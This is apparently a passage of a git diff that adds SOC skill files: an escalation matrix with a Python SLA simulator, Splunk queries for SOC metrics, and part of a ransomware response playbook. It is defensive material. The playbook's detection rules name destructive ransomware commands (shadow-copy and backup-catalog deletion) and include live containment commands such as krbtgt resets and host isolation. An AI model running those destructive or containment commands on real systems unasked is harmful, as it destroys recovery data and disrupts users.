Immediate Tier 2 | +| Multiple hosts with same malware | P1 - Immediate Tier 2 | + +### Time-Based Escalation + +| Condition | Action | +|---|---| +| P2 unresolved after 4 hours | Escalate to Tier 3 | +| P3 unresolved after 12 hours | Escalate to Tier 2 | +| Any incident unresolved past SLA | Escalate to SOC Manager | +| P1 unresolved after 2 hours | Escalate to CISO | + +## Communication Templates + +### P1 Initial Notification + +``` +SUBJECT: [P1 CRITICAL] Security Incident - {Incident_ID} + +Incident Summary: +- Type: {incident_type} +- Affected Systems: {systems} +- Affected Users: {users} +- Current Status: {status} +- Assigned To: {analyst} + +Impact Assessment: +- Business Impact: {impact} +- Data at Risk: {data_risk} +- Containment Status: {containment} + +Next Actions: +- {action_1} +- {action_2} + +Next Update: {time} (30-minute intervals) +Bridge Line: {conference_details} +``` + +## Escalation Matrix Implementation + +### SOAR Integration + +```yaml +# XSOAR escalation playbook trigger +trigger: + condition: incident.severity == "critical" AND incident.asset_criticality == "high" + action: + - assign_tier: 3 + - notify: [soc_manager, ciso] + - create_war_room: true + - start_bridge: true + - set_sla: 4h + +auto_escalation_rules: + - name: P2 Time-Based Escalation + condition: incident.severity == "high" AND incident.age > 4h AND incident.status != "resolved" + action: + - escalate_tier: 3 + - notify: soc_manager + - add_comment: "Auto-escalated due to SLA breach" +``` + +## References + +- [Torq - Threat Escalation Matrix for Modern Security Challenges](https://torq.io/blog/escalation-matrix/) +- [ClearFeed - Incident Escalation Matrix](https://clearfeed.ai/blogs/incident-escalation-matrix) +- [Vectra - SOC Operations Guide](https://www.vectra.ai/topics/soc-operations) +- [Runframe - Incident Priority Levels Explained](https://runframe.io/learn/incident-priority) diff --git a/skills/building-soc-escalation-matrix/assets/template.md b/skills/building-soc-escalation-matrix/assets/template.md new file mode 100644 index 00000000..aba9af23 --- /dev/null +++ b/skills/building-soc-escalation-matrix/assets/template.md @@ -0,0 +1,30 @@ +# SOC Escalation Matrix Template + +## Priority Definitions + +| Priority | Response SLA | Resolution SLA | Assigned Tier | Mgmt Notification | +|---|---|---|---|---| +| P1 - Critical | 15 min | 4 hours | Tier 3 | 30 min | +| P2 - High | 30 min | 8 hours | Tier 2 | 2 hours | +| P3 - Medium | 4 hours | 24 hours | Tier 1 | As needed | +| P4 - Low | 8 hours | 72 hours | Tier 1 | Weekly | + +## Escalation Contacts + +| Role | Name | Phone | Email | Availability | +|---|---|---|---|---| +| Tier 1 Lead | | | | 24/7 | +| Tier 2 Lead | | | | 24/7 | +| Tier 3 Lead | | | | On-call | +| SOC Manager | | | | Business hours + on-call | +| CISO | | | | On-call for P1 | + +## Auto-Escalation Rules + +| Trigger | Priority | Action | +|---|---|---| +| Ransomware detected | P1 | Tier 3 + CISO | +| Domain admin compromise | P1 | Tier 3 + CISO | +| Active data exfiltration | P1 | Tier 3 + CISO | +| Executive account anomaly | P2 | Tier 2 + SOC Manager | +| SLA breach | +1 Tier | Notify SOC Manager | diff --git a/skills/building-soc-escalation-matrix/references/standards.md b/skills/building-soc-escalation-matrix/references/standards.md new file mode 100644 index 00000000..ee335a64 --- /dev/null +++ b/skills/building-soc-escalation-matrix/references/standards.md @@ -0,0 +1,27 @@ +# Standards - SOC Escalation Matrix + +## NIST SP 800-61 Rev 2 Incident Handling +- Defines incident categories and severity levels +- Recommends functional impact, information impact, and recoverability as factors +- Guides escalation based on incident classification + +## ITIL Incident Management +- P1-P4 priority classification framework +- Impact x Urgency = Priority matrix +- SLA management for each priority level + +## SOC-CMM (SOC Capability Maturity Model) +- Level 1: Ad-hoc escalation, no formal process +- Level 2: Defined escalation paths, documented SLAs +- Level 3: Automated escalation with SOAR integration +- Level 4: Context-driven escalation with risk scoring +- Level 5: AI-assisted prioritization and auto-escalation + +## Response Time Standards + +| Priority | Industry Standard | Best Practice | +|---|---|---| +| P1 | 15 min response, 4h resolution | 5 min response, 2h containment | +| P2 | 30 min response, 8h resolution | 15 min response, 4h containment | +| P3 | 4h response, 24h resolution | 2h response, 12h resolution | +| P4 | 8h response, 72h resolution | 4h response, 48h resolution | diff --git a/skills/building-soc-escalation-matrix/references/workflows.md b/skills/building-soc-escalation-matrix/references/workflows.md new file mode 100644 index 00000000..c6ae7410 --- /dev/null +++ b/skills/building-soc-escalation-matrix/references/workflows.md @@ -0,0 +1,40 @@ +# Workflows - SOC Escalation Matrix + +## Escalation Flow + +``` +Alert Generated + | + v +Tier 1 Triage (15 min) + | + +-- P4/P3: Handle to resolution + | + +-- P2: Escalate to Tier 2 + | | + | +-- Resolved: Close + | +-- Unresolved (4h): Escalate to Tier 3 + | + +-- P1: Immediate escalation + | + v + Tier 3 + Management Notified + | + v + War Room / Bridge Activated + | + v + Containment within SLA + | + v + Resolution + Post-Incident Review +``` + +## Notification Matrix + +| Priority | Tier 1 | Tier 2 | Tier 3 | SOC Mgr | CISO | Legal | +|---|---|---|---|---|---|---| +| P1 | Aware | Aware | Lead | Notified | Notified | Standby | +| P2 | Aware | Lead | Consulted | Informed | - | - | +| P3 | Lead | Consulted | - | - | - | - | +| P4 | Lead | - | - | - | - | - | diff --git a/skills/building-soc-escalation-matrix/scripts/process.py b/skills/building-soc-escalation-matrix/scripts/process.py new file mode 100644 index 00000000..0393493b --- /dev/null +++ b/skills/building-soc-escalation-matrix/scripts/process.py @@ -0,0 +1,221 @@ +#!/usr/bin/env python3 +""" +SOC Escalation Matrix Builder and Simulator + +Builds escalation matrices, simulates incident routing, +and tracks SLA compliance for SOC operations. +""" + +import json +from datetime import datetime, timedelta + + +SEVERITY_CONFIG = { + "P1": { + "name": "Critical", + "initial_response_min": 15, + "escalation_to_tier2_min": 0, + "escalation_to_tier3_min": 0, + "escalation_to_mgmt_min": 30, + "resolution_target_hours": 4, + "update_interval_min": 30, + "assigned_tier": 3, + }, + "P2": { + "name": "High", + "initial_response_min": 30, + "escalation_to_tier2_min": 30, + "escalation_to_tier3_min": 240, + "escalation_to_mgmt_min": 120, + "resolution_target_hours": 8, + "update_interval_min": 120, + "assigned_tier": 2, + }, + "P3": { + "name": "Medium", + "initial_response_min": 240, + "escalation_to_tier2_min": 480, + "escalation_to_tier3_min": None, + "escalation_to_mgmt_min": None, + "resolution_target_hours": 24, + "update_interval_min": 1440, + "assigned_tier": 1, + }, + "P4": { + "name": "Low", + "initial_response_min": 480, + "escalation_to_tier2_min": None, + "escalation_to_tier3_min": None, + "escalation_to_mgmt_min": None, + "resolution_target_hours": 72, + "update_interval_min": 10080, + "assigned_tier": 1, + }, +} + +ASSET_CRITICALITY_MAP = { + ("critical", "critical"): "P1", + ("critical", "high"): "P1", + ("critical", "medium"): "P1", + ("critical", "low"): "P2", + ("high", "critical"): "P1", + ("high", "high"): "P2", + ("high", "medium"): "P2", + ("high", "low"): "P3", + ("medium", "critical"): "P2", + ("medium", "high"): "P2", + ("medium", "medium"): "P3", + ("medium", "low"): "P4", + ("low", "critical"): "P3", + ("low", "high"): "P3", + ("low", "medium"): "P4", + ("low", "low"): "P4", +} + +AUTO_ESCALATION_TRIGGERS = { + "ransomware_detected": "P1", + "domain_admin_compromise": "P1", + "active_data_exfiltration": "P1", + "multiple_hosts_malware": "P1", + "critical_infrastructure_alert": "P1", + "executive_account_anomaly": "P2", + "insider_threat_indicator": "P2", + "brute_force_success": "P2", +} + + +class Incident: + """Represents a security incident with escalation tracking.""" + + def __init__(self, incident_id: str, title: str, severity_score: str, + asset_criticality: str, incident_type: str): + self.incident_id = incident_id + self.title = title + self.incident_type = incident_type + self.created = datetime.utcnow() + + # Calculate priority + if incident_type in AUTO_ESCALATION_TRIGGERS: + self.priority = AUTO_ESCALATION_TRIGGERS[incident_type] + else: + self.priority = ASSET_CRITICALITY_MAP.get( + (severity_score, asset_criticality), "P3" + ) + + self.config = SEVERITY_CONFIG[self.priority] + self.current_tier = self.config["assigned_tier"] + self.status = "open" + self.escalation_history = [] + self.resolved_at = None + + def check_sla_compliance(self) -> dict: + now = datetime.utcnow() + elapsed_min = (now - self.created).total_seconds() / 60 + + response_sla_met = elapsed_min <= self.config["initial_response_min"] or self.status != "open" + resolution_target_min = self.config["resolution_target_hours"] * 60 + + if self.resolved_at: + resolution_min = (self.resolved_at - self.created).total_seconds() / 60 + resolution_sla_met = resolution_min <= resolution_target_min + else: + resolution_sla_met = elapsed_min <= resolution_target_min + + return { + "incident_id": self.incident_id, + "priority": self.priority, + "elapsed_minutes": round(elapsed_min, 1), + "response_sla_met": response_sla_met, + "resolution_sla_met": resolution_sla_met, + "response_sla_min": self.config["initial_response_min"], + "resolution_sla_min": resolution_target_min, + "needs_escalation": not resolution_sla_met and self.status == "open", + } + + def escalate(self, to_tier: int, reason: str): + self.escalation_history.append({ + "from_tier": self.current_tier, + "to_tier": to_tier, + "reason": reason, + "timestamp": datetime.utcnow().isoformat(), + }) + self.current_tier = to_tier + + def resolve(self): + self.status = "resolved" + self.resolved_at = datetime.utcnow() + + +class EscalationMatrix: + """Manages the SOC escalation matrix and tracks incidents.""" + + def __init__(self): + self.incidents = [] + + def create_incident(self, incident_id: str, title: str, severity: str, + asset_criticality: str, incident_type: str) -> Incident: + incident = Incident(incident_id, title, severity, asset_criticality, incident_type) + self.incidents.append(incident) + return incident + + def get_sla_report(self) -> dict: + report = {"total": len(self.incidents), "by_priority": {}, "sla_breaches": 0} + for priority in ["P1", "P2", "P3", "P4"]: + priority_incidents = [i for i in self.incidents if i.priority == priority] + breaches = sum(1 for i in priority_incidents if not i.check_sla_compliance()["resolution_sla_met"]) + report["by_priority"][priority] = { + "count": len(priority_incidents), + "resolved": sum(1 for i in priority_incidents if i.status == "resolved"), + "open": sum(1 for i in priority_incidents if i.status == "open"), + "sla_breaches": breaches, + } + report["sla_breaches"] += breaches + return report + + def get_escalation_summary(self) -> dict: + total_escalations = sum(len(i.escalation_history) for i in self.incidents) + tier_distribution = {1: 0, 2: 0, 3: 0} + for i in self.incidents: + if i.current_tier in tier_distribution: + tier_distribution[i.current_tier] += 1 + return { + "total_incidents": len(self.incidents), + "total_escalations": total_escalations, + "current_tier_distribution": tier_distribution, + } + + +if __name__ == "__main__": + matrix = EscalationMatrix() + + inc1 = matrix.create_incident("INC-001", "Ransomware on Finance Server", "critical", "critical", "ransomware_detected") + inc2 = matrix.create_incident("INC-002", "Failed Brute Force on VPN", "medium", "high", "brute_force_attempt") + inc3 = matrix.create_incident("INC-003", "Suspicious PowerShell on Workstation", "high", "medium", "suspicious_execution") + inc4 = matrix.create_incident("INC-004", "Expired SSL Certificate", "low", "low", "certificate_expiry") + inc5 = matrix.create_incident("INC-005", "Executive Email Compromise Attempt", "high", "critical", "executive_account_anomaly") + + # Simulate escalations + inc1.escalate(3, "Ransomware auto-escalation to Tier 3") + inc3.escalate(2, "Analyst escalation - needs deeper investigation") + inc4.resolve() + + print("=" * 70) + print("SOC ESCALATION MATRIX REPORT") + print("=" * 70) + + for inc in matrix.incidents: + sla = inc.check_sla_compliance() + print(f"\n[{inc.priority}] {inc.incident_id}: {inc.title}") + print(f" Status: {inc.status} | Tier: {inc.current_tier} | Type: {inc.incident_type}") + print(f" Response SLA: {'MET' if sla['response_sla_met'] else 'BREACHED'} ({sla['response_sla_min']}min)") + print(f" Resolution SLA: {'MET' if sla['resolution_sla_met'] else 'AT RISK'} ({sla['resolution_sla_min']}min)") + if inc.escalation_history: + print(f" Escalations: {len(inc.escalation_history)}") + + print(f"\n{'=' * 70}") + print("SLA COMPLIANCE REPORT") + print("=" * 70) + report = matrix.get_sla_report() + for priority, data in report["by_priority"].items(): + if data["count"] > 0: + print(f" {priority}: {data['count']} incidents, {data['resolved']} resolved, {data['sla_breaches']} SLA breaches") diff --git a/skills/building-soc-metrics-and-kpi-tracking/SKILL.md b/skills/building-soc-metrics-and-kpi-tracking/SKILL.md new file mode 100644 index 00000000..b84b1854 --- /dev/null +++ b/skills/building-soc-metrics-and-kpi-tracking/SKILL.md @@ -0,0 +1,287 @@ +--- +name: building-soc-metrics-and-kpi-tracking +description: > + Builds SOC performance metrics and KPI tracking dashboards measuring Mean Time to Detect (MTTD), + Mean Time to Respond (MTTR), alert quality ratios, analyst productivity, and detection coverage + using SIEM data. Use when SOC leadership needs operational visibility, continuous improvement + tracking, or executive-level reporting on security operations effectiveness. +domain: cybersecurity +subdomain: soc-operations +tags: [soc, metrics, kpi, mttd, mttr, dashboard, reporting, continuous-improvement] +version: "1.0" +author: mahipal +license: MIT +--- +# Building SOC Metrics and KPI Tracking + +## When to Use + +Use this skill when: +- SOC leadership needs data-driven visibility into operational performance +- Continuous improvement programs require baseline measurements and trend tracking +- Executive reporting demands quantified security posture and ROI metrics +- Staffing decisions need objective workload and capacity data +- Compliance audits require documented SOC performance evidence + +**Do not use** metrics as punitive measures against analysts — metrics should drive process improvement, not individual performance management. + +## Prerequisites + +- SIEM with 90+ days of incident and alert disposition data +- Incident ticketing system (ServiceNow, Jira) with timestamp data for incident lifecycle +- Analyst shift schedules and staffing data +- ATT&CK Navigator for detection coverage tracking +- Dashboard platform (Splunk, Grafana, or Power BI) + +## Workflow + +### Step 1: Define Core SOC Metrics Framework + +Establish the key metrics aligned to NIST CSF functions: + +| Metric | Definition | Target | NIST CSF | +|--------|-----------|--------|----------| +| MTTD | Time from threat occurrence to SOC detection | <15 min | Detect | +| MTTA | Time from alert to analyst acknowledgment | <5 min | Respond | +| MTTI | Time from acknowledgment to investigation start | <10 min | Respond | +| MTTC | Time from investigation to containment | <1 hour | Respond | +| MTTR | Time from detection to full resolution | <4 hours | Recover | +| FP Rate | Percentage of false positive alerts | <30% | Detect | +| TP Rate | Percentage of true positive alerts | >40% | Detect | +| Coverage | ATT&CK techniques with active detection | >60% | Detect | +| Dwell Time | Attacker time in network before detection | <24 hours | Detect | +| Escalation Rate | % of Tier 1 alerts escalated to Tier 2/3 | 15-25% | Respond | + +### Step 2: Implement MTTD/MTTR Measurement + +**Mean Time to Detect (MTTD):** +```spl +index=notable earliest=-30d status_label="Resolved*" +| eval mttd_seconds = _time - orig_time +| where mttd_seconds > 0 AND mttd_seconds < 86400 --- Exclude data quality issues +| stats avg(mttd_seconds) AS avg_mttd, + median(mttd_seconds) AS med_mttd, + perc90(mttd_seconds) AS p90_mttd, + perc95(mttd_seconds) AS p95_mttd + by urgency +| eval avg_mttd_min = round(avg_mttd / 60, 1) +| eval med_mttd_min = round(med_mttd / 60, 1) +| eval p90_mttd_min = round(p90_mttd / 60, 1) +| table urgency, avg_mttd_min, med_mttd_min, p90_mttd_min +``` + +**Mean Time to Respond (MTTR):** +```spl +index=notable earliest=-30d status_label="Resolved*" +| eval mttr_seconds = status_end - _time +| where mttr_seconds > 0 AND mttr_seconds < 604800 --- <7 days +| stats avg(mttr_seconds) AS avg_mttr, + median(mttr_seconds) AS med_mttr, + perc90(mttr_seconds) AS p90_mttr + by urgency +| eval avg_mttr_hours = round(avg_mttr / 3600, 1) +| eval med_mttr_hours = round(med_mttr / 3600, 1) +| eval p90_mttr_hours = round(p90_mttr / 3600, 1) +| table urgency, avg_mttr_hours, med_mttr_hours, p90_mttr_hours +``` + +**MTTD/MTTR Trend Over Time:** +```spl +index=notable earliest=-90d status_label="Resolved*" +| eval mttd_min = (_time - orig_time) / 60 +| eval mttr_hours = (status_end - _time) / 3600 +| bin _time span=1w +| stats avg(mttd_min) AS avg_mttd_min, avg(mttr_hours) AS avg_mttr_hours, + count AS incidents by _time +| table _time, incidents, avg_mttd_min, avg_mttr_hours +``` + +### Step 3: Measure Alert Quality and Analyst Productivity + +**Alert Disposition Analysis:** +```spl +index=notable earliest=-30d +| stats count AS total, + sum(eval(if(status_label="Resolved - True Positive", 1, 0))) AS tp, + sum(eval(if(status_label="Resolved - False Positive", 1, 0))) AS fp, + sum(eval(if(status_label="Resolved - Benign", 1, 0))) AS benign, + sum(eval(if(status_label="New" OR status_label="In Progress", 1, 0))) AS pending +| eval tp_rate = round(tp / total * 100, 1) +| eval fp_rate = round(fp / total * 100, 1) +| eval signal_noise = round(tp / (fp + 0.01), 2) +| table total, tp, fp, benign, pending, tp_rate, fp_rate, signal_noise +``` + +**Analyst Productivity Metrics:** +```spl +index=notable earliest=-30d status_label="Resolved*" +| stats count AS alerts_resolved, + avg(eval((status_end - status_transition_time) / 60)) AS avg_triage_min, + dc(rule_name) AS unique_rule_types + by owner +| eval alerts_per_day = round(alerts_resolved / 30, 1) +| sort - alerts_resolved +| table owner, alerts_resolved, alerts_per_day, avg_triage_min, unique_rule_types +``` + +**Shift-Based Workload Distribution:** +```spl +index=notable earliest=-30d +| eval hour = strftime(_time, "%H") +| eval shift = case( + hour >= 6 AND hour < 14, "Day (06-14)", + hour >= 14 AND hour < 22, "Swing (14-22)", + 1=1, "Night (22-06)" + ) +| stats count AS alerts, dc(owner) AS analysts by shift +| eval alerts_per_analyst = round(alerts / analysts / 30, 1) +| table shift, alerts, analysts, alerts_per_analyst +``` + +### Step 4: Track Detection Coverage + +**ATT&CK Coverage Score:** +```spl +| inputlookup detection_rules_attack_mapping.csv +| stats dc(technique_id) AS covered_techniques by tactic +| join tactic type=left [ + | inputlookup attack_techniques_total.csv + | stats dc(technique_id) AS total_techniques by tactic + ] +| eval coverage_pct = round(covered_techniques / total_techniques * 100, 1) +| sort tactic +| table tactic, covered_techniques, total_techniques, coverage_pct +``` + +**Data Source Coverage:** +```spl +| inputlookup expected_data_sources.csv +| join data_source type=left [ + | tstats count where index=* by sourcetype + | rename sourcetype AS data_source + | eval status = "Active" + ] +| eval source_status = if(isnotnull(status), "Collecting", "MISSING") +| stats count by source_status +| table source_status, count +``` + +### Step 5: Build Executive Reporting Dashboard + +**Monthly SOC Executive Summary:** +```spl +--- Incident summary by category +index=notable earliest=-30d status_label="Resolved*" +| stats count by urgency +| eval order = case(urgency="critical", 1, urgency="high", 2, urgency="medium", 3, + urgency="low", 4, urgency="informational", 5) +| sort order + +--- Month-over-month comparison +index=notable earliest=-60d +| eval period = if(_time > relative_time(now(), "-30d"), "This Month", "Last Month") +| stats count by period, urgency +| chart sum(count) AS incidents by urgency, period + +--- Top 5 incident categories +index=notable earliest=-30d status_label="Resolved - True Positive" +| top rule_name limit=5 +| table rule_name, count, percent +``` + +**Security Posture Scorecard:** +```spl +| makeresults +| eval metrics = mvappend( + "MTTD: 8.3 min (Target: <15 min) | STATUS: GREEN", + "MTTR: 3.2 hours (Target: <4 hours) | STATUS: GREEN", + "FP Rate: 27% (Target: <30%) | STATUS: GREEN", + "Detection Coverage: 64% (Target: >60%) | STATUS: GREEN", + "Analyst Utilization: 78% (Target: 60-80%) | STATUS: GREEN", + "Incident Backlog: 12 (Target: <20) | STATUS: GREEN" + ) +| mvexpand metrics +| table metrics +``` + +### Step 6: Implement Continuous Improvement Tracking + +Track improvement initiatives and their impact: + +```spl +--- Improvement initiative tracking +| inputlookup soc_improvement_initiatives.csv +| eval status_color = case( + status="Completed", "green", + status="In Progress", "yellow", + status="Planned", "gray" + ) +| table initiative, start_date, target_date, status, metric_impact, baseline, current +``` + +Example initiatives: +```csv +initiative,start_date,target_date,status,metric_impact,baseline,current +Risk-Based Alerting,2024-01-15,2024-03-15,Completed,Alert Volume,-84%,287/day +Sigma Rule Library,2024-02-01,2024-04-01,In Progress,ATT&CK Coverage,61%,64% +SOAR Phishing Playbook,2024-02-15,2024-03-30,In Progress,Phishing MTTR,45min,18min +Analyst Training Program,2024-01-01,2024-06-30,In Progress,TP Rate,31%,41% +``` + +## Key Concepts + +| Term | Definition | +|------|-----------| +| **MTTD** | Mean Time to Detect — average time from threat occurrence to SOC alert generation | +| **MTTR** | Mean Time to Respond — average time from detection to incident resolution | +| **MTTA** | Mean Time to Acknowledge — average time from alert generation to analyst assignment | +| **Signal-to-Noise Ratio** | Ratio of true positive alerts to total alerts — higher is better | +| **Dwell Time** | Duration an attacker remains undetected in the environment — key indicator of detection effectiveness | +| **Analyst Utilization** | Percentage of analyst time spent on productive investigation vs. overhead tasks | + +## Tools & Systems + +- **Splunk Dashboard Studio**: Advanced visualization framework for building interactive SOC metric dashboards +- **Grafana**: Open-source analytics and visualization platform supporting multiple data sources +- **Power BI**: Microsoft business intelligence tool for executive-level reporting and trend analysis +- **ATT&CK Navigator**: MITRE tool for visualizing detection coverage as layered heatmaps +- **ServiceNow Performance Analytics**: ITSM analytics module for tracking incident lifecycle metrics + +## Common Scenarios + +- **Quarterly Business Review**: Present MTTD/MTTR trends, detection coverage growth, and alert quality improvements +- **Staffing Justification**: Use workload metrics to justify additional analyst headcount or shift adjustments +- **Tool ROI Assessment**: Compare alert quality and response times before and after new tool deployment +- **Compliance Evidence**: Provide documented SOC performance metrics for ISO 27001 or SOC 2 audits +- **Vendor Comparison**: Benchmark SOC metrics against industry peers using surveys (SANS, Ponemon) + +## Output Format + +``` +SOC PERFORMANCE REPORT — March 2024 +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +KEY METRICS: + Metric Current Target Trend Status + MTTD 8.3 min <15 min -12% GREEN + MTTR 3.2 hrs <4 hrs -18% GREEN + FP Rate 27% <30% -5% GREEN + TP Rate 41% >40% +3% GREEN + ATT&CK Coverage 64% >60% +3% GREEN + Alerts/Analyst/Day 24 <50 -84% GREEN + +INCIDENT SUMMARY: + Total Incidents: 147 (Critical: 3, High: 23, Medium: 78, Low: 43) + Avg Resolution: 3.2 hours (Critical: 1.8h, High: 2.9h, Medium: 4.1h) + SLA Compliance: 94% (Target: >90%) + +IMPROVEMENT HIGHLIGHTS: + [1] RBA deployment reduced daily alerts from 1,847 to 287 (-84%) + [2] New Sigma rules added 12 ATT&CK techniques to coverage + [3] SOAR phishing playbook reduced phishing MTTR by 60% + +AREAS FOR IMPROVEMENT: + [1] Lateral movement detection coverage at 58% (below 60% target) + [2] Night shift MTTD 23% slower than day shift + [3] 4 critical vulnerability scan tickets overdue on SLA +``` diff --git a/skills/building-soc-playbook-for-ransomware/SKILL.md b/skills/building-soc-playbook-for-ransomware/SKILL.md new file mode 100644 index 00000000..665db8b7 --- /dev/null +++ b/skills/building-soc-playbook-for-ransomware/SKILL.md @@ -0,0 +1,261 @@ +--- +name: building-soc-playbook-for-ransomware +description: > + Builds a structured SOC incident response playbook for ransomware attacks covering detection, + containment, eradication, and recovery phases with specific SIEM queries, isolation procedures, + and decision trees. Use when SOC teams need formalized response procedures for ransomware + incidents aligned to NIST SP 800-61 and MITRE ATT&CK ransomware techniques. +domain: cybersecurity +subdomain: soc-operations +tags: [soc, ransomware, incident-response, playbook, nist, mitre-attack, containment] +version: "1.0" +author: mahipal +license: MIT +--- +# Building SOC Playbook for Ransomware + +## When to Use + +Use this skill when: +- SOC teams need a standardized ransomware response playbook for Tier 1-3 analysts +- An organization lacks documented procedures for ransomware containment and recovery +- Tabletop exercises reveal gaps in ransomware response coordination +- Compliance requirements (NIST CSF, ISO 27001) mandate documented incident playbooks + +**Do not use** during an active ransomware incident as the sole guide — have pre-built playbooks tested and rehearsed before incidents occur. + +## Prerequisites + +- SIEM platform (Splunk ES, Elastic Security, or Sentinel) with endpoint and network data +- EDR solution (CrowdStrike, SentinelOne, or Microsoft Defender for Endpoint) with network isolation capability +- Backup infrastructure with tested recovery procedures and offline/immutable backups +- Communication plan with legal, executive leadership, and external IR retainer contacts +- MITRE ATT&CK knowledge for ransomware technique chains + +## Workflow + +### Step 1: Define Detection Triggers + +Create SIEM detection rules for early ransomware indicators: + +**Mass File Encryption Detection (Splunk):** +```spl +index=sysmon EventCode=11 +| bin _time span=1m +| stats dc(TargetFilename) AS unique_files, values(TargetFilename) AS sample_files by Computer, Image, _time +| where unique_files > 100 +| eval suspicious_extensions = if(match(mvjoin(sample_files, ","), "\.(encrypted|locked|crypt|enc|ransom)"), "YES", "NO") +| where suspicious_extensions="YES" OR unique_files > 500 +| sort - unique_files +``` + +**Shadow Copy Deletion (T1490):** +```spl +index=wineventlog sourcetype="WinEventLog:Security" OR index=sysmon EventCode=1 +(CommandLine="*vssadmin*delete*shadows*" OR CommandLine="*wmic*shadowcopy*delete*" + OR CommandLine="*bcdedit*/set*recoveryenabled*no*" OR CommandLine="*wbadmin*delete*catalog*") +| table _time, Computer, User, ParentImage, Image, CommandLine +``` + +**Ransomware Note File Creation:** +```spl +index=sysmon EventCode=11 +TargetFilename IN ("*README*.txt", "*DECRYPT*.txt", "*RANSOM*.txt", "*RECOVER*.html", "*HOW_TO*.txt") +| stats count by Computer, Image, TargetFilename +| where count > 5 +``` + +**Elastic Security EQL variant:** +```eql +sequence by host.name with maxspan=2m + [process where event.type == "start" and + process.args : ("*vssadmin*", "*delete*", "*shadows*")] + [file where event.type == "creation" and + file.name : ("*README*DECRYPT*", "*RANSOM*", "*HOW_TO_RECOVER*")] +``` + +### Step 2: Build Triage Decision Tree + +``` +RANSOMWARE ALERT TRIAGE +│ +├── Is encryption actively occurring? +│ ├── YES → IMMEDIATE: Isolate host from network (Step 3) +│ │ Do NOT power off (preserve memory for forensics) +│ └── NO → Is this a pre-encryption indicator? +│ ├── Shadow copy deletion → HIGH PRIORITY: Isolate and investigate +│ ├── Known ransomware hash → HIGH PRIORITY: Block hash, scan enterprise +│ └── Suspicious process behavior → MEDIUM: Investigate, prepare isolation +│ +├── How many hosts affected? +│ ├── Single host → Contained incident, follow host isolation procedure +│ ├── Multiple hosts (2-10) → Escalate to Tier 2, begin enterprise-wide scan +│ └── Enterprise-wide (>10) → Activate full IR team, engage external retainer +│ +└── Is data exfiltration confirmed? + ├── YES → Double extortion scenario, engage legal for breach notification + └── NO/UNKNOWN → Check for Cobalt Strike/C2 beacons, review outbound transfers +``` + +### Step 3: Containment Procedures + +**Network Isolation via EDR (CrowdStrike Falcon):** +```bash +# Isolate host using CrowdStrike Falcon API +curl -X POST "https://api.crowdstrike.com/devices/entities/devices-actions/v2?action_name=contain" \ + -H "Authorization: Bearer $TOKEN" \ + -H "Content-Type: application/json" \ + -d '{"ids": ["device_id_here"]}' +``` + +**Network Isolation via Microsoft Defender for Endpoint:** +```powershell +# Isolate machine via MDE API +$headers = @{Authorization = "Bearer $token"} +$body = @{Comment = "Ransomware containment - IR-2024-0500"; IsolationType = "Full"} | ConvertTo-Json +Invoke-RestMethod -Uri "https://api.securitycenter.microsoft.com/api/machines/$machineId/isolate" ` + -Method Post -Headers $headers -Body $body -ContentType "application/json" +``` + +**Firewall Emergency Rules:** +``` +# Palo Alto — Block SMB lateral spread +set rulebase security rules RansomwareContainment from Trust to Trust +set rulebase security rules RansomwareContainment application ms-ds-smb +set rulebase security rules RansomwareContainment action deny +set rulebase security rules RansomwareContainment disabled no +commit +``` + +**Active Directory Emergency Actions:** +```powershell +# Disable compromised account +Disable-ADAccount -Identity "compromised_user" + +# Reset Kerberos TGT (if domain admin compromised) +# WARNING: This resets krbtgt and requires two resets 12+ hours apart +Reset-KrbtgtKeys -Server "DC-PRIMARY" -Force + +# Block lateral movement by disabling remote services +Set-Service -Name "RemoteRegistry" -StartupType Disabled -Status Stopped +``` + +### Step 4: Evidence Collection and Preservation + +Collect forensic artifacts before remediation: + +```powershell +# Capture running processes and network connections +Get-Process | Export-Csv "C:\IR\processes_$(hostname).csv" +Get-NetTCPConnection | Export-Csv "C:\IR\netstat_$(hostname).csv" + +# Capture memory dump (if host still running) +winpmem_mini_x64.exe C:\IR\memory_$(hostname).raw + +# Collect ransomware artifacts +Copy-Item "C:\Users\*\Desktop\*README*" "C:\IR\ransom_notes\" -Recurse +Copy-Item "C:\Users\*\Desktop\*.encrypted" "C:\IR\encrypted_samples\" -Force + +# Capture event logs +wevtutil epl Security "C:\IR\Security_$(hostname).evtx" +wevtutil epl System "C:\IR\System_$(hostname).evtx" +wevtutil epl "Microsoft-Windows-Sysmon/Operational" "C:\IR\Sysmon_$(hostname).evtx" +``` + +### Step 5: Eradication and Recovery + +**Identify ransomware variant:** +- Upload encrypted sample and ransom note to ID Ransomware (https://id-ransomware.malwarehunterteam.com/) +- Check No More Ransom Project (https://www.nomoreransom.org/) for available decryptors +- Search for ransomware family IOCs in MalwareBazaar + +**Enterprise-wide IOC scan in Splunk:** +```spl +index=sysmon (EventCode=1 OR EventCode=11 OR EventCode=3) +(TargetFilename="*ransomware_binary_name*" OR sha256="KNOWN_HASH" + OR DestinationIp="C2_IP_ADDRESS" OR CommandLine="*malicious_command*") +| stats count by Computer, EventCode, Image, CommandLine +| sort - count +``` + +**Recovery from backups:** +1. Verify backup integrity (offline/immutable backups not affected) +2. Rebuild affected systems from known-good images +3. Restore data from last clean backup +4. Validate restored systems before reconnecting to network +5. Monitor restored systems for 72 hours for reinfection + +### Step 6: Post-Incident Documentation + +Structure the playbook conclusion with lessons learned: + +``` +POST-INCIDENT REVIEW TEMPLATE +1. Timeline of events (detection to full recovery) +2. Initial access vector identification +3. Dwell time analysis (time from initial compromise to encryption) +4. Detection gaps identified +5. Response effectiveness metrics (MTTD, MTTC, MTTR) +6. Playbook improvements recommended +7. New detection rules deployed +8. Backup and recovery procedure updates +``` + +## Key Concepts + +| Term | Definition | +|------|-----------| +| **Double Extortion** | Ransomware tactic combining data encryption with data theft, threatening public release if ransom unpaid | +| **Dwell Time** | Duration between initial compromise and detection — ransomware operators average 5-9 days before encryption | +| **MTTC** | Mean Time to Contain — time from detection to successful isolation of affected systems | +| **Kill Chain** | Ransomware progression: Initial Access -> Execution -> Persistence -> Privilege Escalation -> Lateral Movement -> Collection -> Exfiltration -> Impact | +| **Immutable Backup** | Backup storage that cannot be modified or deleted for a defined retention period (WORM storage) | +| **RTO/RPO** | Recovery Time Objective / Recovery Point Objective — maximum acceptable downtime and data loss thresholds | + +## Tools & Systems + +- **CrowdStrike Falcon / SentinelOne**: EDR platforms with network isolation, process kill, and threat hunting capabilities +- **Splunk ES / Elastic Security**: SIEM platforms for detection rule deployment and enterprise-wide IOC scanning +- 